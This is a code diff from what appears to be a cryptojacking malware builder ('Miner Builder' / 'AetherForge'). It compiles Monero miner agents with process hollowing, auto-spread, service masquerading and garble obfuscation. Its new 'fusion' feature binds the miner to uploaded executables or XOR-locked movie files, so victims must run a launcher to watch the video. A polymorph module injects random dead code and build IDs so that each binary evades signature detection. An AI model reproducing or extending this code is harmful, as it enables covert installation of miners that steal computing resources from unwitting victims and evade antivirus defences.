return err
|
||||
}
|
||||
zipPath, err = filepath.Abs(zipPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if strings.HasPrefix(zipPath, sourceDir+string(os.PathSeparator)) || zipPath == sourceDir {
|
||||
return fmt.Errorf("zip path must be outside source directory")
|
||||
}
|
||||
|
||||
out, err := os.Create(zipPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
zw := zip.NewWriter(out)
|
||||
defer zw.Close()
|
||||
|
||||
return filepath.Walk(sourceDir, func(path string, info os.FileInfo, walkErr error) error {
|
||||
if walkErr != nil {
|
||||
return walkErr
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if strings.EqualFold(filepath.Ext(path), ".zip") {
|
||||
return nil
|
||||
}
|
||||
rel, err := filepath.Rel(sourceDir, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
hdr, err := zip.FileInfoHeader(info)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
hdr.Name = rel
|
||||
hdr.Method = zip.Deflate
|
||||
w, err := zw.CreateHeader(hdr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
in, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(w, in)
|
||||
in.Close()
|
||||
return err
|
||||
})
|
||||
}
|
||||
|
||||
func fusionBundleZipName(subdir string) string {
|
||||
return sanitizeFileName(subdir) + "-package.zip"
|
||||
}
|
||||
27
server/internal/builder/fusion_zip_test.go
Normal file
27
server/internal/builder/fusion_zip_test.go
Normal file
@@ -0,0 +1,27 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestZipDirectory(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "README.txt"), []byte("hi"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
zipPath := filepath.Join(t.TempDir(), "pkg.zip")
|
||||
if err := zipDirectory(dir, zipPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
r, err := zip.OpenReader(zipPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
if len(r.File) != 1 || r.File[0].Name != "README.txt" {
|
||||
t.Fatalf("unexpected zip contents: %+v", r.File)
|
||||
}
|
||||
}
|
||||
@@ -22,8 +22,9 @@ import (
|
||||
|
||||
type BuildRequest struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
ServerURL string `json:"server_url"`
|
||||
BackupServerURLs []string `json:"backup_server_urls"`
|
||||
Wallet string `json:"wallet"`
|
||||
OutputDir string `json:"output_dir"`
|
||||
Threads int `json:"threads"`
|
||||
ThreadMode string `json:"thread_mode"`
|
||||
@@ -55,9 +56,13 @@ type BuildRequest struct {
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
FusionEnabled bool `json:"fusion_enabled"`
|
||||
FusionRunOrder string `json:"fusion_run_order"`
|
||||
FusionOutputName string `json:"fusion_output_name"`
|
||||
FusionEnabled bool `json:"fusion_enabled"`
|
||||
FusionRunOrder string `json:"fusion_run_order"`
|
||||
FusionOutputName string `json:"fusion_output_name"`
|
||||
FusionPayloadKind string `json:"fusion_payload_kind"`
|
||||
FusionMediaMode string `json:"fusion_media_mode"`
|
||||
FusionMediaBaseName string `json:"fusion_media_base_name"`
|
||||
FusionExportSubdir string `json:"fusion_export_subdir"`
|
||||
// AI Autonomy (Ollama)
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
@@ -83,12 +88,22 @@ type BuildResponse struct {
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
FusionExportDir string `json:"fusion_export_dir,omitempty"`
|
||||
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
|
||||
BundleFileName string `json:"bundle_file_name,omitempty"`
|
||||
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
|
||||
BundleSize int64 `json:"bundle_size,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type BuildArtifactFile struct {
|
||||
FileName string `json:"file_name"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
type Handler struct {
|
||||
db *db.Database
|
||||
dataDir string
|
||||
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
prepSize = header.Size
|
||||
prepName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||||
if name == "" {
|
||||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||||
path := filepath.Join(buildDir, name)
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
// Paired media may live in fusion export dir — try deliverables folder from query
|
||||
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
|
||||
path = filepath.Join(exportDir, name)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
build, err := h.db.GetBuild(buildID)
|
||||
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
var extraArtifacts []BuildArtifactFile
|
||||
var fusionRes *fusionBuildResult
|
||||
if req.FusionEnabled {
|
||||
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||||
}
|
||||
var err error
|
||||
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
finalPath = fusedPath
|
||||
finalName = filepath.Base(fusedPath)
|
||||
finalPath = fusionRes.LauncherPath
|
||||
finalName = filepath.Base(finalPath)
|
||||
fusionEnabled = true
|
||||
if fusionRes.EncryptedPath != "" {
|
||||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||
FileName: filepath.Base(fusionRes.EncryptedPath),
|
||||
FilePath: fusionRes.EncryptedPath,
|
||||
})
|
||||
}
|
||||
if fusionRes.ShortcutPath != "" {
|
||||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||
FileName: filepath.Base(fusionRes.ShortcutPath),
|
||||
FilePath: fusionRes.ShortcutPath,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
exportPath, err := h.publishRootExecutable(finalPath, finalName)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
var fusionExportDir string
|
||||
var bundleFileName string
|
||||
var bundleDownloadURL string
|
||||
var bundleSize int64
|
||||
exportPath := ""
|
||||
if fusionEnabled {
|
||||
exportLabel := req.FusionMediaBaseName
|
||||
if exportLabel == "" {
|
||||
exportLabel = filepath.Base(prepPath)
|
||||
}
|
||||
if req.FusionPayloadKind != "video" {
|
||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||
}
|
||||
arts := map[string]string{finalName: finalPath}
|
||||
for _, ex := range extraArtifacts {
|
||||
arts[ex.FileName] = ex.FilePath
|
||||
}
|
||||
subdir := fusionExportSubdir(req, exportLabel)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||
RunnerName: finalName,
|
||||
MediaName: filepath.Base(exportLabel),
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: req.FusionMediaMode,
|
||||
}
|
||||
if readme.Title == "" {
|
||||
readme.Title = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionExportDir = dir
|
||||
exportPath = filepath.Join(dir, finalName)
|
||||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||
FileName: "README.txt",
|
||||
FilePath: filepath.Join(dir, "README.txt"),
|
||||
})
|
||||
for i := range extraArtifacts {
|
||||
if extraArtifacts[i].FileName != "README.txt" {
|
||||
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
|
||||
}
|
||||
}
|
||||
|
||||
bundleFileName = fusionBundleZipName(subdir)
|
||||
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
|
||||
if err := zipDirectory(dir, bundleBuildPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
|
||||
if st, err := os.Stat(bundleBuildPath); err == nil {
|
||||
bundleSize = st.Size()
|
||||
}
|
||||
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
|
||||
} else {
|
||||
var err error
|
||||
exportPath, err = h.publishRootExecutable(finalPath, finalName)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
if exportPath == "" {
|
||||
exportPath, _ = filepath.Abs(finalPath)
|
||||
}
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
||||
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
resp := BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: finalName,
|
||||
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ExportPath: exportPath,
|
||||
UninstallExportPath: "",
|
||||
FusionEnabled: fusionEnabled,
|
||||
FusionExportDir: fusionExportDir,
|
||||
ExtraFiles: extraArtifacts,
|
||||
BundleFileName: bundleFileName,
|
||||
BundleDownloadURL: bundleDownloadURL,
|
||||
BundleSize: bundleSize,
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
if fusionEnabled && bundleDownloadURL != "" {
|
||||
resp.DownloadURL = bundleDownloadURL
|
||||
resp.FileName = bundleFileName
|
||||
if bundleSize > 0 {
|
||||
resp.FileSize = bundleSize
|
||||
}
|
||||
}
|
||||
return resp, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
// publishRootExecutable writes the forged installer as a single file in the project root.
|
||||
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
if req.FusionMediaMode == "" {
|
||||
req.FusionMediaMode = "paired"
|
||||
}
|
||||
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||
if header == nil || header.Size == 0 {
|
||||
return "", nil, fmt.Errorf("prep.exe upload is empty")
|
||||
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||
if header == nil {
|
||||
return "", nil, fmt.Errorf("fusion upload is missing")
|
||||
}
|
||||
if header.Size > 150<<20 {
|
||||
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
|
||||
if header.Size > FusionMaxUploadBytes {
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
name := strings.ToLower(header.Filename)
|
||||
if !strings.HasSuffix(name, ".exe") {
|
||||
return "", nil, fmt.Errorf("prep upload must be a .exe file")
|
||||
baseName := filepath.Base(header.Filename)
|
||||
if baseName == "" || baseName == "." {
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
}
|
||||
if !isFusionPayloadExt(baseName) {
|
||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||
}
|
||||
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
dest := filepath.Join(dir, "prep.exe")
|
||||
dest := filepath.Join(dir, sanitizeFileName(baseName))
|
||||
out, err := os.Create(dest)
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := io.Copy(out, file); err != nil {
|
||||
out.Close()
|
||||
written, err := io.Copy(out, file)
|
||||
out.Close()
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
out.Close()
|
||||
if written == 0 {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, fmt.Errorf("fusion upload is empty")
|
||||
}
|
||||
if written > FusionMaxUploadBytes {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
cleanup := func() { _ = os.RemoveAll(dir) }
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
||||
func isFusionPayloadExt(name string) bool {
|
||||
switch strings.ToLower(filepath.Ext(name)) {
|
||||
case ".exe", ".mp4", ".mkv", ".mov":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||||
// Build ID: %s
|
||||
@@ -675,9 +845,10 @@ import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
Wallet: %q,
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
BackupServerURLs: %s,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
ThreadPercent: %d,
|
||||
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
req.WorkerName,
|
||||
req.ServerURL,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
)
|
||||
}
|
||||
|
||||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||
return req.RunAs == "service" || req.ProcessHollowing
|
||||
}
|
||||
|
||||
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
|
||||
if !serviceMasqueradeEnabled(req) {
|
||||
return ""
|
||||
}
|
||||
name, _ := pickServiceMasquerade(buildID)
|
||||
return name
|
||||
}
|
||||
|
||||
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
|
||||
if !serviceMasqueradeEnabled(req) {
|
||||
return ""
|
||||
}
|
||||
_, donor := pickServiceMasquerade(buildID)
|
||||
return donor
|
||||
}
|
||||
|
||||
func (h *Handler) copyAgentSource(destDir string) error {
|
||||
srcDir := h.agentSrcDir
|
||||
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
||||
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func formatGoStringSlice(values []string) string {
|
||||
if len(values) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
parts := make([]string, 0, len(values))
|
||||
for _, v := range values {
|
||||
v = strings.TrimSpace(v)
|
||||
if v != "" {
|
||||
parts = append(parts, fmt.Sprintf("%q", v))
|
||||
}
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
return "[]string{" + strings.Join(parts, ", ") + "}"
|
||||
}
|
||||
|
||||
func sanitizeFileName(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||
|
||||
7
server/internal/builder/limits.go
Normal file
7
server/internal/builder/limits.go
Normal file
@@ -0,0 +1,7 @@
|
||||
package builder
|
||||
|
||||
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
|
||||
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
|
||||
|
||||
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
|
||||
const FusionDeliverablesDir = "fusion-deliverables"
|
||||
67
server/internal/builder/media_lock.go
Normal file
67
server/internal/builder/media_lock.go
Normal file
@@ -0,0 +1,67 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
const mediaLockMagic = "CMVD"
|
||||
|
||||
// EncryptMediaFile XOR-encrypts a movie for paired fusion (runner holds the key in manifest).
|
||||
func EncryptMediaFile(srcPath, destPath string, key []byte) error {
|
||||
if len(key) == 0 {
|
||||
return fmt.Errorf("media lock key is empty")
|
||||
}
|
||||
in, err := os.Open(srcPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.Create(destPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
if _, err := io.WriteString(out, mediaLockMagic); err != nil {
|
||||
return err
|
||||
}
|
||||
buf := make([]byte, 256*1024)
|
||||
ki := 0
|
||||
for {
|
||||
n, readErr := in.Read(buf)
|
||||
if n > 0 {
|
||||
chunk := make([]byte, n)
|
||||
for i := 0; i < n; i++ {
|
||||
chunk[i] = buf[i] ^ key[ki%len(key)]
|
||||
ki++
|
||||
}
|
||||
if _, err := out.Write(chunk); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if readErr == io.EOF {
|
||||
break
|
||||
}
|
||||
if readErr != nil {
|
||||
return readErr
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func NewMediaLockKey() ([]byte, error) {
|
||||
key := make([]byte, 32)
|
||||
if _, err := rand.Read(key); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func MediaLockKeyB64(key []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(key)
|
||||
}
|
||||
28
server/internal/builder/media_lock_test.go
Normal file
28
server/internal/builder/media_lock_test.go
Normal file
@@ -0,0 +1,28 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEncryptMediaRoundTrip(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
src := filepath.Join(dir, "clip.mkv")
|
||||
enc := filepath.Join(dir, "clip.mkv.cmdata")
|
||||
plain := []byte("fake movie bytes 12345")
|
||||
if err := os.WriteFile(src, plain, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
key, err := NewMediaLockKey()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := EncryptMediaFile(src, enc, key); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st, _ := os.Stat(enc)
|
||||
if st.Size() <= int64(len(plain)) {
|
||||
t.Fatalf("encrypted size unexpected: %d", st.Size())
|
||||
}
|
||||
}
|
||||
171
server/internal/builder/polymorph.go
Normal file
171
server/internal/builder/polymorph.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"hash/fnv"
|
||||
mrand "math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
|
||||
func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
|
||||
if seed == "" {
|
||||
b := make([]byte, 16)
|
||||
_, _ = rand.Read(b)
|
||||
seed = hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
h := fnv.New64a()
|
||||
_, _ = h.Write([]byte(seed))
|
||||
rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
|
||||
|
||||
buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
|
||||
nonce := hex.EncodeToString(randomBytes(rng, 12))
|
||||
|
||||
funcCount := 6 + rng.Intn(8)
|
||||
var funcDefs strings.Builder
|
||||
var funcNames []string
|
||||
for i := 0; i < funcCount; i++ {
|
||||
name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
|
||||
funcNames = append(funcNames, name)
|
||||
funcDefs.WriteString(generateDeadFunc(name, rng))
|
||||
}
|
||||
|
||||
strCount := 24 + rng.Intn(32)
|
||||
var strLines strings.Builder
|
||||
for i := 0; i < strCount; i++ {
|
||||
s := randomString(rng, 16+rng.Intn(48))
|
||||
strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
|
||||
}
|
||||
|
||||
var tableEntries strings.Builder
|
||||
for _, n := range funcNames {
|
||||
tableEntries.WriteString("\t\t" + n + ",\n")
|
||||
}
|
||||
|
||||
content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
|
||||
// Build seed: %s
|
||||
|
||||
package polymorph
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
)
|
||||
|
||||
const buildNonce = %q
|
||||
|
||||
var decoyStrings = []string{
|
||||
%s}
|
||||
|
||||
var buildMarker = %q
|
||||
|
||||
func init() {
|
||||
_ = initDecoys()
|
||||
}
|
||||
|
||||
func initDecoys() int {
|
||||
sum := 0
|
||||
for _, fn := range deadFuncTable {
|
||||
sum += fn()
|
||||
}
|
||||
if len(decoyStrings) > 0 {
|
||||
h := md5.Sum([]byte(buildMarker + buildNonce))
|
||||
sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
|
||||
}
|
||||
_ = hex.EncodeToString([]byte(buildNonce))
|
||||
return sum
|
||||
}
|
||||
|
||||
func deadFuncTable() []func() int {
|
||||
return []func() int{
|
||||
%s }
|
||||
}
|
||||
|
||||
%s
|
||||
`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
|
||||
|
||||
dir := filepath.Join(agentDir, "polymorph")
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
|
||||
return extraLdflags, nil
|
||||
}
|
||||
|
||||
func generateDeadFunc(name string, rng *mrand.Rand) string {
|
||||
ops := 4 + rng.Intn(6)
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
|
||||
for i := 0; i < ops; i++ {
|
||||
switch rng.Intn(4) {
|
||||
case 0:
|
||||
b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
|
||||
case 1:
|
||||
b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
|
||||
case 2:
|
||||
b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
|
||||
default:
|
||||
b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
|
||||
}
|
||||
}
|
||||
b.WriteString("\treturn x & 0xffff\n}\n\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func randomBytes(rng *mrand.Rand, n int) []byte {
|
||||
b := make([]byte, n)
|
||||
for i := range b {
|
||||
b[i] = byte(rng.Intn(256))
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func randomIdent(rng *mrand.Rand, n int) string {
|
||||
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
